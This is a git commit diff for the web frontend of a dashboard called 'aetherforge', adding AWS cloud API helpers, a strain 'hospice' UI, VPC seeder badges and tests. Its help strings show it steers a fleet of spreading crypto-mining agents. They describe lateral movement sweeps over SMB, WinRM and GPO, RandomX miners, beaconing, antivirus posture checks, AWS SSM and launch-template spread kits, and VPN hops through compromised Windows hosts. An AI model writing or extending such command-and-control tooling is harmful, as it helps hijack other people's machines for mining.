Fix Vitest suite and wire cloud/AWS dashboard API helpers.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Adds missing client methods, VPC seeder badges, hospice strain UI, and uiHelp drift keys so server/web builds and all 849 Vitest tests pass.
This commit is contained in:
@@ -391,6 +391,8 @@ export const api = {
|
||||
}>('/fleet/play-strain-card', { method: 'POST', body: JSON.stringify(body) }),
|
||||
listOathLedger: (limit = 100) =>
|
||||
fetchJSON<import('../types').OathLedgerEntry[]>(`/fleet/oath-ledger?limit=${limit}`),
|
||||
listStrainHospice: (limit = 200) =>
|
||||
fetchJSON<import('../types').StrainHospiceRecord[]>(`/fleet/strain-hospice?limit=${limit}`),
|
||||
|
||||
// Public builds (unauthenticated — used on login page)
|
||||
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
|
||||
@@ -575,6 +577,77 @@ export const api = {
|
||||
body: JSON.stringify({ session_id: sessionId, branch_id: branchId }),
|
||||
}),
|
||||
|
||||
exportCloudTemplate: async (req: {
|
||||
template: string;
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
bucket?: string;
|
||||
cloudfront_domain?: string;
|
||||
minio_endpoint?: string;
|
||||
region?: string;
|
||||
cluster?: string;
|
||||
namespace_name?: string;
|
||||
}) => {
|
||||
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `aetherforge-${req.template}.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) =>
|
||||
fetchJSON<{ ok: boolean; reachable: boolean; status?: number; error?: string }>(
|
||||
'/builder/cloud-connection-test',
|
||||
{ method: 'POST', body: JSON.stringify(body) },
|
||||
),
|
||||
|
||||
fetchSSMSpreadBundle: (req: {
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
aws_cli_path?: string;
|
||||
platform?: string;
|
||||
}) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
bundle: {
|
||||
join_lane: string;
|
||||
document: string;
|
||||
run_command: string;
|
||||
create_document_cli: string;
|
||||
manifest_url?: string;
|
||||
shard_urls?: string[];
|
||||
fallback_get_url?: string;
|
||||
};
|
||||
}>('/builder/ssm-spread-bundle', { method: 'POST', body: JSON.stringify(req) }),
|
||||
|
||||
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
|
||||
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>(
|
||||
'/builder/launch-template',
|
||||
{ method: 'POST', body: JSON.stringify(req) },
|
||||
),
|
||||
|
||||
testErasureSwarm: (body: { s3_bucket: string; cloudfront_domain: string }) =>
|
||||
fetchJSON<{ ok: boolean; error?: string }>('/builder/erasure-swarm-test', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(body),
|
||||
}),
|
||||
|
||||
getErasureSwarmPolicyJSON: (bucket: string) =>
|
||||
fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
|
||||
`/builder/erasure-swarm-policy?bucket=${encodeURIComponent(bucket)}`,
|
||||
),
|
||||
|
||||
// Cancel an in-progress forge build by its cancel token.
|
||||
cancelBuild: (cancelToken: string) =>
|
||||
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
||||
|
||||
@@ -29,6 +29,7 @@ vi.mock('../../api/client', () => ({
|
||||
},
|
||||
}),
|
||||
listStrainCards: vi.fn().mockResolvedValue([]),
|
||||
listStrainHospice: vi.fn().mockResolvedValue([]),
|
||||
playStrainCard: vi.fn().mockResolvedValue({ success: true }),
|
||||
},
|
||||
}));
|
||||
@@ -247,6 +248,35 @@ describe('AccessDepthPanel', () => {
|
||||
expect(graftNote.textContent).toMatch(/tier winrm · strain #aabbcc/i);
|
||||
});
|
||||
|
||||
it('disables play and shows hospice tag for retired strains', async () => {
|
||||
vi.mocked(api.listStrainHospice).mockResolvedValueOnce([
|
||||
{ strain_id: 'a1b2c3', retired_at: '2026-06-07T12:00:00Z', retired_by: 'court', reason: 'exhausted' },
|
||||
]);
|
||||
vi.mocked(api.listStrainCards).mockResolvedValueOnce([
|
||||
{
|
||||
id: 'card-hospice',
|
||||
root_agent_id: 'root',
|
||||
source_agent_id: 'a1',
|
||||
source_agent_name: 'Retired',
|
||||
spread_strain: '#a1b2c3',
|
||||
spread_lane: 'winrm',
|
||||
persona: 'silent',
|
||||
parents: [],
|
||||
wins: [],
|
||||
losses: ['docker'],
|
||||
subnets: [],
|
||||
erasure_recovery_rate: 0,
|
||||
peak_hashrate: 0,
|
||||
tier_order: [],
|
||||
tree_size: 1,
|
||||
},
|
||||
]);
|
||||
renderPanel(mockAgent({ id: 'a1', status: 'online', spread_strain: '#a1b2c3' }));
|
||||
expect(await screen.findByText(/strain in hospice — museum read-only lineage/i)).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /play/i })).toBeDisabled();
|
||||
expect(screen.getByRole('button', { name: /play/i })).toHaveAttribute('title', 'Strain retired to hospice');
|
||||
});
|
||||
|
||||
it('renders lineage strain card with play control', async () => {
|
||||
vi.mocked(api.listStrainCards).mockResolvedValueOnce([
|
||||
{
|
||||
|
||||
@@ -13,7 +13,7 @@ import {
|
||||
formatClearanceElevation,
|
||||
} from '../../help/clearance';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import type { Agent, StrainCard } from '../../types';
|
||||
import type { Agent, StrainCard, StrainHospiceRecord } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
@@ -78,6 +78,7 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
const [elevationFlash, setElevationFlash] = useState<string | null>(null);
|
||||
const [strainCards, setStrainCards] = useState<StrainCard[]>([]);
|
||||
const [hospiceStrains, setHospiceStrains] = useState<Set<string>>(new Set());
|
||||
const [strainPlayBusy, setStrainPlayBusy] = useState<string | null>(null);
|
||||
const flashTimerRef = useRef<number | null>(null);
|
||||
|
||||
@@ -141,6 +142,23 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
};
|
||||
}, [agent.id]);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api
|
||||
.listStrainHospice()
|
||||
.then((rows: StrainHospiceRecord[]) => {
|
||||
if (!cancelled) {
|
||||
setHospiceStrains(new Set(rows.map((r: StrainHospiceRecord) => r.strain_id.trim().toLowerCase())));
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setHospiceStrains(new Set());
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
if (latestMessage.type === 'strain_card' || latestMessage.type === 'strain_card_played') {
|
||||
@@ -154,8 +172,13 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
}
|
||||
}, [latestMessage, agent.id]);
|
||||
|
||||
const strainInHospice = (strain?: string) => {
|
||||
const id = strain?.trim().toLowerCase().replace(/^#/, '') ?? '';
|
||||
return id !== '' && hospiceStrains.has(id);
|
||||
};
|
||||
|
||||
const playStrainCard = async (card: StrainCard) => {
|
||||
if (strainPlayBusy) return;
|
||||
if (strainPlayBusy || strainInHospice(card.spread_strain)) return;
|
||||
setStrainPlayBusy(card.id);
|
||||
try {
|
||||
await api.playStrainCard({ agent_id: agent.id, card_id: card.id });
|
||||
@@ -232,6 +255,11 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
) : (
|
||||
<div className="access-depth-muted">No join lane yet</div>
|
||||
)}
|
||||
{strainInHospice(agent.spread_strain) && (
|
||||
<div className="access-depth-hospice-note access-depth-muted">
|
||||
strain in hospice — museum read-only lineage
|
||||
</div>
|
||||
)}
|
||||
{(agent.parent_agent_id || agent.spread_generation || agent.spread_strain) && (
|
||||
<div className="access-depth-lineage" data-strain={agent.spread_strain?.replace(/^#/, '') ?? ''}>
|
||||
lineage gen {agent.spread_generation ?? 0}
|
||||
@@ -266,13 +294,24 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
) : null}
|
||||
<span className="access-depth-strain-card-title">
|
||||
strain · {card.persona}
|
||||
{strainInHospice(card.spread_strain) ? (
|
||||
<span className="access-depth-tag access-depth-tag--skip"> hospice</span>
|
||||
) : null}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
className="access-depth-strain-play"
|
||||
disabled={agent.status !== 'online' || strainPlayBusy === card.id}
|
||||
disabled={
|
||||
agent.status !== 'online' ||
|
||||
strainPlayBusy === card.id ||
|
||||
strainInHospice(card.spread_strain)
|
||||
}
|
||||
onClick={() => playStrainCard(card)}
|
||||
title={`Play ${card.source_agent_name} lineage preset`}
|
||||
title={
|
||||
strainInHospice(card.spread_strain)
|
||||
? 'Strain retired to hospice'
|
||||
: `Play ${card.source_agent_name} lineage preset`
|
||||
}
|
||||
>
|
||||
{strainPlayBusy === card.id ? '…' : 'play'}
|
||||
</button>
|
||||
|
||||
@@ -1,14 +1,16 @@
|
||||
/** @vitest-environment happy-dom */
|
||||
import { describe, expect, it, vi, beforeEach } from 'vitest';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import { render, screen } from '@testing-library/react';
|
||||
import CloudSpreadPanel from './CloudSpreadPanel';
|
||||
import { api } from '../../api/client';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
exportCloudTemplate: vi.fn().mockResolvedValue(undefined),
|
||||
testCloudConnection: vi.fn().mockResolvedValue({ ok: true, reachable: true, status: 'ok' }),
|
||||
},
|
||||
}));
|
||||
|
||||
describe('CloudSpreadPanel', () => {
|
||||
beforeEach(() => {
|
||||
vi.spyOn(api, 'exportCloudTemplate').mockResolvedValue(undefined);
|
||||
vi.spyOn(api, 'testCloudConnection').mockResolvedValue({ ok: true, reachable: true });
|
||||
});
|
||||
|
||||
it('renders cloud ecosystem hub', () => {
|
||||
render(<CloudSpreadPanel serverUrl="https://deck.example" />);
|
||||
|
||||
@@ -147,6 +147,7 @@ describe('FIELD_HELP', () => {
|
||||
'forge_deliverable',
|
||||
'forge_operation_mode',
|
||||
'forge_path_forge',
|
||||
'aws_erasure_swarm',
|
||||
] as const;
|
||||
|
||||
it('defines help text for every documented field key', () => {
|
||||
|
||||
@@ -198,4 +198,6 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
|
||||
webhook_url:
|
||||
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
||||
aws_erasure_swarm:
|
||||
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
|
||||
};
|
||||
|
||||
@@ -34,6 +34,7 @@ describe('UI_HELP', () => {
|
||||
'crucible_pause',
|
||||
'crucible_full_audit',
|
||||
'crucible_posture_badge',
|
||||
'crucible_vpc_seeder',
|
||||
'crucible_master_terminal',
|
||||
'crucible_section_agent',
|
||||
'crucible_section_system',
|
||||
@@ -64,6 +65,7 @@ describe('UI_HELP', () => {
|
||||
'fm_encrypt_path',
|
||||
'pt_path_tracer',
|
||||
'pt_agent_chain',
|
||||
'pt_onion_timeline',
|
||||
'pt_subnet_autopsy',
|
||||
'fleet_runtime_policy',
|
||||
'fleet_runtime_modules',
|
||||
@@ -94,6 +96,8 @@ describe('UI_HELP', () => {
|
||||
'ew_war_room_stats_table',
|
||||
'ew_war_room_constellations',
|
||||
'ew_war_room_leak',
|
||||
'ew_cloud_aws',
|
||||
'ew_cloud_generic',
|
||||
'crucible_btn_spread_now',
|
||||
'crucible_btn_subnet_scan',
|
||||
'crucible_btn_hole_punch',
|
||||
|
||||
@@ -63,6 +63,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
|
||||
crucible_posture_badge:
|
||||
'Quick security summary from the last heartbeat: AV, firewall, SSH, elevation, and patch state.',
|
||||
crucible_vpc_seeder:
|
||||
'AWS EC2 agents report vpc-id from IMDS. Fleet Torrent elects one VPC seeder per vpc-id; badge shows VPC seeder (primary) or VPC leecher (secondary seeder in same VPC).',
|
||||
crucible_master_terminal:
|
||||
'Command output and errors from bulk ops stream here. Green lines succeeded; red lines failed.',
|
||||
crucible_section_agent:
|
||||
@@ -128,6 +130,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'On-demand multi-hop WireGuard VPN through up to 3 Windows agents. Scan the QR or import the .conf on your phone.',
|
||||
pt_agent_chain:
|
||||
'Pick agents in order — traffic hops through each node. Windows only; max 3 hops. Click TRACE to orchestrate tunnels.',
|
||||
pt_onion_timeline:
|
||||
'Fork-merge onion timeline for Path Tracer chains — ghost branches per hop, merge winning strains, and skip hospice-retired spread lanes when picking merge parents.',
|
||||
|
||||
fleet_runtime_policy:
|
||||
'Push live mining policy (schedule, CPU cap, optional pool override) to online agents without re-forging.',
|
||||
@@ -192,6 +196,10 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Force-directed map: node size = hits, brightness = online agents, color = conversion %, edges = shared pin/build. Click a star to highlight its funnel card below.',
|
||||
ew_war_room_leak:
|
||||
'Automated funnel leak hints when a stage drops sharply (e.g. downloads but no beacons). LEAK = critical drop; Drip = minor — follow the suggested action on each card.',
|
||||
ew_cloud_aws:
|
||||
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
|
||||
ew_cloud_generic:
|
||||
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
|
||||
|
||||
crucible_btn_spread_now:
|
||||
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
||||
|
||||
@@ -16,6 +16,7 @@ import CruciblePage, {
|
||||
postureBadge,
|
||||
postureTooltip,
|
||||
contingencyDepthBadge,
|
||||
vpcSeederBadge,
|
||||
sshBadge,
|
||||
thermalBadge,
|
||||
} from './CruciblePage';
|
||||
@@ -356,6 +357,14 @@ describe('CruciblePage helpers', () => {
|
||||
expect(contingencyDepthBadge(mockAgent({ contingency_depth: 10 }))?.cls).toBe('cn-contingency-deep');
|
||||
});
|
||||
|
||||
it('vpcSeederBadge shows VPC seeder and leecher roles', () => {
|
||||
expect(vpcSeederBadge(mockAgent({}))).toBeNull();
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc' }))).toBeNull();
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc', vpc_primary_seeder: true }))?.label).toBe('VPC seeder');
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc', fleet_role: 'seeder' }))?.label).toBe('VPC leecher');
|
||||
expect(vpcSeederBadge(mockAgent({ cloud_vpc_id: 'vpc-abc', vpc_primary_seeder: true, fleet_role: 'seeder' }))?.label).toBe('VPC seeder');
|
||||
});
|
||||
|
||||
it('postureTooltip includes defender, DNS drift, and services', () => {
|
||||
const agent = mockAgent({
|
||||
defender_enabled: true,
|
||||
|
||||
@@ -276,6 +276,14 @@ export function contingencyDepthBadge(agent: Agent): { label: string; cls: strin
|
||||
return { label: `ONION ${depth}`, cls: depth >= 8 ? 'cn-contingency-deep' : 'cn-contingency' };
|
||||
}
|
||||
|
||||
/** AWS VPC seeder election — one primary seeder per vpc-id (or /24 fallback). */
|
||||
export function vpcSeederBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
if (!agent.cloud_vpc_id?.trim()) return null;
|
||||
if (agent.vpc_primary_seeder) return { label: 'VPC seeder', cls: 'cn-vpc-seeder' };
|
||||
if (agent.fleet_role === 'seeder') return { label: 'VPC leecher', cls: 'cn-vpc-leecher' };
|
||||
return null;
|
||||
}
|
||||
|
||||
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
||||
|
||||
// Human-readable label for well-known service names
|
||||
@@ -1207,6 +1215,11 @@ export default function CruciblePage() {
|
||||
{cb.label}
|
||||
</div>
|
||||
); })()}
|
||||
{(() => { const vb = vpcSeederBadge(a); return vb && (
|
||||
<div className={`cn-vpc ${vb.cls}`} title={`AWS VPC ${a.cloud_vpc_id}${a.cloud_region ? ` · ${a.cloud_region}` : ''}`}>
|
||||
{vb.label}
|
||||
</div>
|
||||
); })()}
|
||||
<RiskBadge findings={a.vuln_findings} />
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div
|
||||
|
||||
@@ -106,6 +106,11 @@ export interface Agent {
|
||||
vuln_risk_score?: number;
|
||||
/** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */
|
||||
join_lane?: string;
|
||||
/** AWS EC2 instance metadata (VPC seeder/leecher badges). */
|
||||
cloud_vpc_id?: string;
|
||||
cloud_subnet_id?: string;
|
||||
cloud_region?: string;
|
||||
vpc_primary_seeder?: boolean;
|
||||
|
||||
/** Session security clearance L0–L4 (live from server). */
|
||||
clearance_level?: number;
|
||||
@@ -129,6 +134,15 @@ export interface Agent {
|
||||
inherited_phenotype?: InheritedPhenotype;
|
||||
}
|
||||
|
||||
/** Retired spread strain preserved for museum read-only lineage. */
|
||||
export interface StrainHospiceRecord {
|
||||
strain_id: string;
|
||||
retired_at: string;
|
||||
retired_by: string;
|
||||
reason: string;
|
||||
card_json?: string;
|
||||
}
|
||||
|
||||
/** Light gamification card for a winning spread tree lineage. */
|
||||
export interface StrainCard {
|
||||
id: string;
|
||||
@@ -378,6 +392,10 @@ export interface ServerSettings {
|
||||
ai_persona?: string;
|
||||
/** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */
|
||||
fleet_roles_enabled?: boolean;
|
||||
/** S3 bucket for RS erasure shard swarm (Calibrate AWS panel). */
|
||||
aws_s3_shard_bucket?: string;
|
||||
/** CloudFront domain for signed shard URLs. */
|
||||
aws_cloudfront_domain?: string;
|
||||
/** Reed–Solomon multi-lane shard metadata on signed deploy plans (default off). */
|
||||
erasure_lanes_enabled?: boolean;
|
||||
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
||||
|
||||
Reference in New Issue
Block a user